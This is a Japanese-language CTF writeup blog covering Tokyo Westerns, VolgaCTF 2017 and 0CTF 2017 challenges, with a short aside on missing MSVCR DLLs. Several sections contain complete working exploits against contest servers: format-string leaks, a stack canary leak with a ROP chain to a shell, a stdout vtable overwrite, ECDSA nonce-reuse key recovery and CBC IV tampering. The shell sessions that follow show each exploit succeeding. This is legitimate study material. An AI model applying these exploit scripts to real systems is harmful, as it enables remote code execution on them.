> Host: score.easterns.kyoto.aka.westerns.tokyo
> User-Agent: curl/7.49.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
* STATE: DO => DO_DONE handle 0x6000578b0; line 1659 (connection #0)
* STATE: DO_DONE => WAITPERFORM handle 0x6000578b0; line 1786 (connection #0)
* STATE: WAITPERFORM => PERFORM handle 0x6000578b0; line 1796 (connection #0)
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 422 Unprocessable Entity
< Keep-Alive: timeout=5, max=100
< Content-Length: 40
< Content-Type: text/html; charset=utf-8
* Server Microsoft-IIS/8.0 is not blacklisted
< Server: Microsoft-IIS/8.0
< Status: 422 Unprocessable Entity
< X-Request-Id: be09ece7-151b-4c0d-b931-51fabf2481b0
< X-Runtime: 0.005885
< Strict-Transport-Security: max-age=15552000
< Set-Cookie: ARRAffinity=49a94ddcdeb25346ee3a2b6c760ba69b1e208509e94f78fe226be7730ca067b6;Path=/;Domain=score.easterns.kyoto.aka.westerns.tokyo
< Date: Sat, 01 Apr 2017 07:25:24 GMT
<
422: 422{Tokyo_Is_In_The_East_Of_Kyoto}
* STATE: PERFORM => DONE handle 0x6000578b0; line 1955 (connection #0)
* multi_done
* Connection #0 to host score.easterns.kyoto.aka.westerns.tokyo left intact

500はflagを不正なUTF-8文字列にしてPOSTすると発生した。

POST /problems/5?locale=en HTTP/1.1
Host: score.easterns.kyoto.aka.westerns.tokyo
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.7,ja;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://score.easterns.kyoto.aka.westerns.tokyo/problems/5?locale=en
X-CSRF-Token: HkPQbeE+mqmqRtkz9gADaH0NyeoIsd9ay1SQ/qH+myOphKZnI4nSPY76FmqzAT/X7LKuDJCGGy8IcoEadj3fMw==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Cookie: _minictf_session=[redacted]; ARRAffinity=[redacted]
Connection: close

utf8=%E2%9C%93&authenticity_token=[redacted]&flag=%FF%FF
HTTP/1.1 500 Internal Server Error
Content-Length: 90
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
Status: 500 Internal Server Error
X-Request-Id: a1cf19da-d03d-45c7-937e-4fadda3f380f
X-Runtime: 0.021744
Strict-Transport-Security: max-age=15552000
Date: Sat, 01 Apr 2017 11:16:38 GMT
Connection: close

500: FLAG{Osaka_Is_In_The_West_Of_Kyoto}; Thank you for your debugging! We'll fix it soon

test problem (Guess 50, 250)

与えられたページのタイトルを答えると50pt。

TWGTF{this_is_not_flag_and_there_is_no_more_flag}

250点はわからなかった。

所感

他に解きたかった問題は以下。

  • MyEncryption (Guess/Crypto 100)
  • Ko-Gyoku (Guess/Misc 193)
  • Find flag (Recon 189)
  • FindMe (Recon 199)

VolgaCTF 2017 Quals 供養(Writeup)

VolgaCTF 2017 Qualsに参加。1150ptで51位。

VC (crypto 50)

Visual secret sharing scheme(Visual cryptography)

$ composite -compose difference A.png B.png C.png

f:id:inaz2:20170327002041p:plain

VolgaCTF{Classic_secret_sharing_scheme}

PyCrypto (crypto/reverse 150)

20バイトのランダムバイト列を鍵にフラグを暗号化している。 暗号化を行っているpycryptography.soのアセンブリコードを読むと、単に20バイトごとに分けた各ブロックに対してXORを取っているだけであることがわかる。

.text:0000000000001190 loc_1190:                               ; CODE XREF: encrypt+9Bj
.text:0000000000001190                 mov     rax, rcx
.text:0000000000001193                 cqo
.text:0000000000001195                 idiv    rsi             ; RAX, RDX = divmod(RCX, RSI)
.text:0000000000001198                 movzx   eax, byte ptr [r8+rdx] ; r8 = key
.text:000000000000119D                 xor     al, [rdi+rcx]   ; rdi = plaintext
.text:00000000000011A0                 mov     [rbp+rcx+0], al ; rbp = ciphertext
.text:00000000000011A4                 add     rcx, 1
.text:00000000000011A8                 cmp     rbx, rcx
.text:00000000000011AB                 jnz     short loc_1190

ブロックの各文字について頻度分析を行い、最も多い文字がスペースに対応すると仮定して鍵を計算し、復号する。 すると、先頭がフラグフォーマットの VolgaCTF{ であることが推測できたので、この部分を確定させて再度復号する。 英文と思われる文字列が出てくるので、意味が通るように補完することで最終的な鍵が求まる。

from minipwn import *
from collections import Counter

with open('flag.enc', 'rb') as f:
    data = f.read()

nblocks = len(data) // 20
chunks = []
for i in xrange(nblocks):
    chunk = data[20*i:20*i+20]
    chunks.append(chunk)

s = ''
for i in xrange(20):
    chars = [chunk[i] for chunk in chunks]
    c, count = Counter(chars).most_common()[0]
    s += xor(c, ' ')

"""
hint = 'VolgaCTF{'
s2 = xor(chunks[0], hint)
s = s2 + s[len(hint):]

for i, chunk in enumerate(chunks):
    print i, "%r" % xor(chunk, s)
"""

hint = '1917, invented an ad'
s = xor(chunks[5], hint)

answer = ''
for chunk in chunks:
    answer += xor(chunk, s)

print answer
$ python test.py
VolgaCTF{N@me_is_Pad_Many_Times_P@d_Mi$$_me?}
Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic stream cipher and later co-invented an automated one-time pad cipher. Vernam proposed a teleprinter cipher in which a previously prepared key, kept on paper tape, is combined character by character with the plaintext message to produce the ciphertext. This are the fundamentals of how one-time pad works.
One-time pad is a way of encrypting messages which is done by XOR-ing each plaintext byte of message you want to encrypt with a key byte from a key stream which is long as the message itself.  If the key is truly random, is at least as long as the plaintext, is never reused in whole or in part, and is kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. This makes the one-time pad information-theoretically secure which means that we can learn no information about the original message (apart from it's length) given the encrypted message. Everything seems perfect right? But why do we need all this modern ciphers then? Why do we need AES when there is a "perfect" cipher, fresh from 1917? Where's the catch?
One-time pad problems: In theory, this cipher is really secure, but in practice, there are few major drawbacks. First, the key needs to be truly random. You might think: "So what, there is a rand() C function that gives us random numbers, we can use that to generate our key stream!". In fact, the rand() C function is a pseudorandom generator which only gives seemingly random numbers, it will loop after some number of outputs and its output can be predicted which makes the function unreliable for security purposes. There are more implementations of random functions (pseudorandom generators) that are used in security but I will not go into that now, only thing to remember is that true randomness is very hard to achieve. One site that states that can generate true random numbers is RANDOM.ORG, its randomness comes from atmospheric noise. Another problem is that the key needs to be as long as the message itself, this makes it hard to use for very long messages because it takes long to generate the keys. I will show you an example of what can go wrong when you get lazy and use the same key to encrypt many messages.
Taken from: https://whitehatjourney.wordpress.com/2015/08/12/many-time-

Telemap (web/exploits 200)

Botが乗っとられてしまったことにより、無効問題になった。

Regarding Telemap task

Tonight it turned out that task bot token was compromised. As a result, bot was taken over by an unknown individual.
We have decided to shut down the bot but we will not close the task.
Some teams managed to solve the task before this had happened and got their points.
To equalise other teams, we have given you the flag (in hints) so that you can submit it and get points too.
This decision is final. We sincerely apologise for this situation.

Updated on Mar 25, 2017 7:55 AM  
VolgaCTF{jUe33I9@8#dDie#!kdEPz}

Time Is (exploits 150)

ELF 64-bit、NX有効。

$ file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped

$ bash checksec.sh --file time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   time_is

Format string bugとスタックバッファオーバーフロー脆弱性がある。

$ ./time_is
Enter time zones separated by whitespace or q to quit
%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|%p.%p.%p.%p|AAAABBBB
AAAABBBB0x3.0x66666667.0xa3d70a3d70a3d70b.0x2ce33e6c02ce33e7|0xe40.0x7f154d3974a0.0x3b7d2114.0x985010|0x78.0x58d5f356.0x4242424241414141.0x70252e70252e7025|: 04:34
Enter time zones separated by whitespace or q to quit
AAAABBBB%11$p
*** invalid %N$ use detected ***
Aborted (core dumped)

$ (perl -e 'print "A"x0x900 . "\n"'; cat) | ./time_is
Enter time zones separated by whitespace or q to quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: 06:27
9
@Enter time zones separated by whitespace or q to quit
q
See you!
*** stack smashing detected ***: ./time_is terminated

Aborted (core dumped)

入力文字列に8バイトの時刻文字列が連結されることに注意しつつ、libc leak、canary leak、ROPを行いシェルを起動する。 また、リモートでleakしたlibcのオフセットが手元にあるUbuntu 16.04.2 LTSの最新版glibcと一致したため、そのまま解くことができた。

from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

# s = connect_process(['./time_is'])

s = socket.create_connection(('time-is.quals.2017.volgactf.ru', 45678))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

recvuntil(s, 'quit\n')

# leak got_libc_start
got_libc_start = 0x603028

buf = '%p.' * 17 + '%s.' + '%p'
buf += p64(got_libc_start)

sendline(s, buf)
data = recvline(s)
data = data.split('.')[17]
addr_libc_start = u64(data.ljust(8, '\x00'))
print "[+] addr_libc_start = %x" % addr_libc_start

"""
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep libc_start_main
0000000000020740 T __libc_start_main

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000137c20 T svcerr_systemerr
0000000000045390 W system

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18c177 /bin/sh
"""

addr_system = addr_libc_start - 0x0000000000020740 + 0x0000000000045390
addr_binsh = addr_libc_start - 0x0000000000020740 + 0x18c177

# leak canary
buf = 'A' * 0x801

sendline(s, buf)
recvline(s)
data = recvline(s)
canary = '\x00' + data[:7]
print "[+] canary = %r" % canary

# rop
addr_pop_rdi = 0x400b34

buf = 'A' * 0x808 + canary + 'A' * 0x38
buf += p64(addr_pop_rdi) + p64(addr_binsh) + p64(addr_system)

sendline(s, buf)
recvline(s)

# quit
sendline(s, 'q')

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='d7e5d131c8f69d397e824960'

[+] sha1('d7e5d131c8f69d397e824960\x00\x00\xf1*\x7f') = 6a078e3e4ce7e5cb1fcbbf6bffc39b2ee3ffffff
[+] addr_libc_start = 7f7f6d687740
[+] canary = '\x00\xd3\x86\xd8yy\xef2'
See you!
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
ls
flag.txt
time_is
cat flag.txt
VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}

Angry Guessing Game (reverse 200)

ELF 64-bit。

$ file guessing_game
guessing_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=40d776f25ac166209af1980da87343aa1cc3e445, stripped

ディスアセンブル結果をしばらく眺めていると、一文字ずつフラグを組み立てていると思しき関数が見つかった。

f:id:inaz2:20170327002921p:plain

実際これがフラグだった。

VolgaCTF{eb675eb79eb095a095c1e64709407bc6}

Curved (crypto 200)

ECDSA署名。 問題文から、"cat flag" に対応する適切な署名を作る問題であることが推測できる。

“exit” と “leave” に対する署名 (r, s) がそれぞれ与えられているが、rが共通となっている。 したがって、通常のDSA同様に秘密鍵が逆算できる。

与えられたスクリプトを流用することでも計算できると思われるが、Pari/GPを使って計算した。

\\ curve
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
n = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = ellinit([a, b] * Mod(1, p))

Gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
Gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
G = [Gx, Gy]

\\ public key
QAx = 30250504889670926190523552041919585443829720544703724701649460613907050136658064509869867235332877475236603550112886
QAy = 10038053482213417689486839474228780499939202868344229289980977269014292942786826488866304498064504119374610238834648
QA = [QAx, QAy]

\\ signature of 'exit'
e1 = 10180943929472204041376359597227574108469221349104554484573736460602805890485877117432685835780787710291076463187571088306141436105029609403872488695821097
r1 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s1 = 34855921360927916070986212109819500225655651650874609025244135362773790814285754503375195745383314214044123943832259
\\ signature of 'leave'
e2 = 12195398262660441438176209028967466030981898250410793562737239825421543239341285267808310332478026241214888216083918256032431837893434411748441618036707814
r2 = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
s2 = 30319268030018639511551117879575625408953110962874264740912972950968883326846458408981004916433253051594118273327537

\\ calculate private key
Ln = 384
z1 = e1 >> (512 - Ln)
z2 = e2 >> (512 - Ln)

ds = Mod(s1-s2, n)
k = (z1-z2)/ds
dA = (s1*k-z1)/r1
dA = lift(dA)
print(dA)

QA_test = ellpow(E, G, dA)
print(QA == QA_test)

\\ sign 'cat flag'
e = 2534251488141321329485028256574528297332728342399684946592676206483227962138949081371581055249315498122105667347735231458012198223021772614828139070448869
z = e >> (512 - Ln)

k = random(n)
X = lift(ellpow(E, G, k))
r = Mod(X[1], n)
s = Mod((z + r * dA)/k, n)
S = lift([r, s])
print(S)

\\ verify 'cat flag'
r = S[1]
s = S[2]
w = Mod(1, n)/s
u1 = lift(z * w)
u2 = lift(r * w)
X = elladd(E, ellpow(E, G, u1), ellpow(E, QA, u2))
print(r == lift(X[1]))

\q
$ gp -q test.gp
9079245250607033272177745139721911545885939364888227106759574289984237078900316288233842237557724127871411302115933
1
[39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623, 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027]
1
from minipwn import *

def proof_of_work(num_chars, first_24bytes):
    import hashlib
    from itertools import product

    chars = ''.join(chr(x) for x in xrange(256) if x != 0x0a)
    for x in product(chars, repeat=5):
        s = first_24bytes + ''.join(x)
        h = hashlib.sha1(s).hexdigest()
        if int(h, 16) % (1<<26) == 0x3ffffff:
            print "[+] sha1(%r) = %s" % (s, h)
            return s

s = socket.create_connection(('curved.quals.2017.volgactf.ru', 8786))
line = recvline(s)
print line
first_24bytes = line.split("'")[1]
answer = proof_of_work(29, first_24bytes)
sendline(s, answer)

print recvuntil(s, ':\r\n')
message = '39112003662726615820001136590670602721390567943228088268349819682351724576285259322504605718457495308034625773444623 21643598331441852154436855591985162334211224320785802943649786307375726924666387420418777563448813104252070730826027 cat flag'
sendline(s, message)

interact(s)
$ python test.py
Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='270a6f5df35e8e9a48af0efc'

[+] sha1('270a6f5df35e8e9a48af0efc\x00\x0fM\x83\x97') = e60627df5b89372b16f2b4a8c50978a33fffffff
Enter your command:

VolgaCTF{N0nce_1s_me@nt_to_be_used_0n1y_Once}
Enter your command:

KeyPass (reverse 100)

パスフレーズから鍵を生成するプログラムとAES-128-CBCで暗号化されたzipがある。 前者のアセンブリコードを読むと、パスフレーズの各文字のXORを取った値をseedとしてパスフレーズを生成していることがわかる。

  4004c3:       48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]
  ...
  4004dd:       31 d2                   xor    edx,edx
  4004df:       eb 12                   jmp    4004f3 <__libc_start_main@plt+0x73>
  4004e1:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
loc_4004e8:
  4004e8:       48 0f be 07             movsx  rax,BYTE PTR [rdi]
  4004ec:       48 83 c7 01             add    rdi,0x1
  4004f0:       48 31 c2                xor    rdx,rax
loc_4004f3:
  4004f3:       48 39 cf                cmp    rdi,rcx
  4004f6:       75 f0                   jne    4004e8 <__libc_start_main@plt+0x68>  ; backward jump

seedは実質1バイトなので、取り得るパスフレーズの数は256通りとなり総当たりができる。 ただし、ヒントにOpenSSL 1.1.0eであることが書かれており、このバージョンを用意する必要がある。

$ wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz
$ tar xvf openssl-1.1.0e.tar.gz
$ cd openssl-1.1.0e
$ ./config
$ make -j3
$ make test
$ cd ..
$ LD_PRELOAD="./openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so" ./openssl-1.1.0e/apps/openssl version
OpenSSL 1.1.0e  16 Feb 2017
from subprocess import Popen, PIPE

for i in xrange(256):
    s = chr(i)
    try:
        p = Popen(['./keypass', s], stdout=PIPE)
        key = p.stdout.read().rstrip()
        p.wait()
    except TypeError:
        continue

    p = Popen(['./openssl-1.1.0e/apps/openssl', 'enc', '-d', '-aes-128-cbc', '-k', key, '-in', 'flag.zip.enc'], env={'LD_PRELOAD': './openssl-1.1.0e/libssl.so ./openssl-1.1.0e/libcrypto.so'}, stdout=PIPE, stderr=PIPE)
    result = p.stdout.read()
    p.wait()
    if p.returncode == 0:
        print "[+] key = %r" % key
        with open('flag.zip', 'wb') as f:
            f.write(result)
        break
$ python test.py
[+] key = '\\M)R<.DDe/:;d>JZP'

$ unzip flag.zip
Archive:  flag.zip
 extracting: flag.txt

$ cat flag.txt
VolgaCTF{L0ve_a11_trust_@_few_d0_not_reinvent_the_wh33l}

Bloody Feedback (web 100)

メッセージが送れる掲示板。 メール入力欄にSQL injection脆弱性がある。

<input class="form-control input-normal" id="InputEmail" name="email" placeholder="Email" disabled="disabled" type="email">
VolgaCTF{eiU7UJhyeu@ud3*}

所感

他に解きたかった問題は以下。

  • Share Point (web 200)
  • Corp News (web 300)
  • Not so honest (exploits 350)
  • Nested (forensics 200)

131チームが解けていたShare Pointを解けなかったのが残念。

MSVCR???.dllやMSVCP???.dllが見つからないときの対処法

Windowsアプリケーションを実行する際、まれに次のようなエラーメッセージが表示されて起動できないことがある。

コンピューターに MSVCR120.dll がないため、プログラムを開始できません。この問題を解決するには、プログラムを再インストールしてください。

MSVCR120.dllの部分は、MSVCP140.dllなど微妙に異なる場合もある。 エラーメッセージに従い再インストールすればよいように思われるが、それでも解決しないことがある。

これは、配布されたアプリケーションが「Visual C++ 再頒布可能パッケージ」を同梱していないか、同梱されたバージョンが一致していないことが原因で起こる。 解決するには、Microsoftが配布している「Visual C++ 再頒布可能パッケージ」をインストールすればよい。

DLL名は「ライブラリ名+バージョン番号」に従って命名されているのだが、バージョン番号とVisual Studioの年がずれていてややこしい。

つまり、MSVCR120.dllであればVisual Studio 2013の再頒布可能パッケージ、MSVCR140.dllであればVisual Studio 2015の再頒布可能パッケージをインストールすればよい。

また、https://www.microsoft.com/以外でダウンロードできるものは、正規のDLLである保証がないため利用してはならない。

関連リンク

0CTF 2017 Quals 供養(Writeup)

0CTF 2017 Qualsに参加。237ptで119位。

Welcome (Misc 12)

IRCのチャンネルトピックにflagがある。

#0ctf2017: Welcome to 0ctf 2017! https://ctf.0ops.net  (flag{Welcome_to_0CTF_2017})

integrity (Crypto 75)

AES-128-CBCで暗号化されたデータを細工する問題。 最初の1ブロックがちょうどMD5(128 bit)になっているため、IVを変えることでMD5の値を自由にコントロールすることができる。 1ブロック余分に作って得た暗号文から最後のブロックを削り、IV経由でMD5を調整する。

from minipwn import *
import hashlib

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

expanded = 'admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0bX'

s = socket.create_connection(('202.120.7.217', 8221))
print recvuntil(s, '[l]ogin\n')
sendline(s, 'r')
sendline(s, expanded)
print recvuntil(s, 'secret:\n')
secret_hex = recvline(s).rstrip()

secret = secret_hex.decode('hex')
iv, enc_md5, enc_msg1, enc_msg2 = secret[:16], secret[16:32], secret[32:48], secret[48:]

h1 = hashlib.md5(expanded[:-1]).digest()
h2 = hashlib.md5(pad(expanded)).digest()
h_xor = xor(h1, h2)

secret2 = xor(iv, h_xor) + enc_md5 + enc_msg1
secret2_hex = secret2.encode('hex')

print recvuntil(s, '[l]ogin\n')
sendline(s, 'l')
sendline(s, secret2_hex)

interact(s)
$ python test.py
Welcome to 0CTF encryption service!
Please [r]egister or [l]ogin

Here is your secret:

Please [r]egister or [l]ogin

Welcome admin!
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}

Please [r]egister or [l]ogin

EasiestPrintf (Pwnable 150)

任意のアドレスの値を読み出した後、Format string attackができる。 ただし、Full RELROなためGOT overwrite不可。

$ bash checksec.sh --file EasiestPrintf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   EasiestPrintf

bssセグメントにstdoutポインタがあるので、これが指すアドレスを読み出した後、Format string attackで+0x94の位置にあるvtableポインタを0x41414141に書き換えると、次のような状態でSEGVする。

$ gdb ./EasiestPrintf core
Reading symbols from ./EasiestPrintf...(no debugging symbols found)...done.
[New LWP 5607]
Core was generated by `./EasiestPrintf'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf76411bb in ?? () from /lib32/libc.so.6
(gdb) x/i $pc
=> 0xf76411bb:  call   DWORD PTR [ecx+0x1c]
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb) dps $esp
ff9ea650  0xf77add60 <_IO_2_1_stdout_>
ff9ea654  0xff9ea730 ' ' <repeats 200 times>...
ff9ea658  0x142
ff9ea65c  0xb
ff9ea660  0xff9ea7d0
ff9ea664  0xf76d1253 <write+35>
ff9ea668  0x142
ff9ea66c  0xf76654c1 <_IO_file_write+97>
ff9ea670  0x1
ff9ea674  0xff9ea7d0
ff9ea678  0xf7658580 <funlockfile>
ff9ea67c  0xf77add60 <_IO_2_1_stdout_>
ff9ea680  0x0
ff9ea684  0x0
ff9ea688  0xfbad8004
ff9ea68c  0xf77add60 <_IO_2_1_stdout_>

上の結果から、第一引数に0xf77add60が与えられた状態で、[ecx+0x1c]が呼ばれることがわかる。 vtableポインタが最後に一度しか書き換えられないことに注意しつつ、適当なアドレスにsystem関数のアドレスや文字列shを書き込むことでシェルを起動できる。

from minipwn import *

#s = connect_process(['./EasiestPrintf'])
s = socket.create_connection(('202.120.7.210', 12321))

addr_stdout = 0x0804a044

print recvuntil(s, ':\n')
sendline(s, str(addr_stdout))
data = recvline(s)
libc_stdout = int(data, 16)
print "[+] libc_stdout = %x" % libc_stdout
libc_stdout_vtable = libc_stdout + 0x94
#libc_system = libc_stdout - 0x001b0d60 + 0x0003a940
libc_system = libc_stdout - 0x001a9ac0 + 0x0003e3e0

str_sh = u32('sh\x00\x00')
x1 = libc_system
x1_hi, x1_lo = x1 >> 16, x1 & 0xFFFF
x2 = libc_stdout - 4 - 0x1c
x2_hi, x2_lo = x2 >> 16, x2 & 0xFFFF

print recvuntil(s, 'Good Bye\n')

# libc_stdout = 'sh\x00\x00'
# libc_stdout-4 = &system
# libc_stdout_vtable+0x1c = &(libc_stdout-4)
buf = p32(libc_stdout) + p32(libc_stdout-4) + p32(libc_stdout-2) + p32(libc_stdout_vtable)
buf += '%' + str(str_sh-16) + 'c%7$n'
buf += '%' + str(0x10000+x1_lo-str_sh) + 'c%8$hn'
buf += '%' + str(0x10000+x1_hi-x1_lo) + 'c%9$hn'
buf += '%' + str(0x10000+x2_lo-x1_hi) + 'c%10$hn'

sendline(s, buf)

interact(s)
$ python test.py
Which address you wanna read:

[+] libc_stdout = f7737ac0
Good Bye
(snip)
id
uid=1001(EasiestPrintf) gid=1001(EasiestPrintf) groups=1001(EasiestPrintf)
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
ls -R home
home:
EasiestPrintf
java

home/EasiestPrintf:
EasiestPrintf
flag

home/java:
cat /home/EasiestPrintf/flag
flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}

所感

他に解きたかった問題は以下。

  • simplesqlin (Web 33)
  • oneTimePad (Crypto 114)
  • Temmo’s Tiny Shop (Web 122)
  • char (Pwnable 130)
  • KoG (Web 146)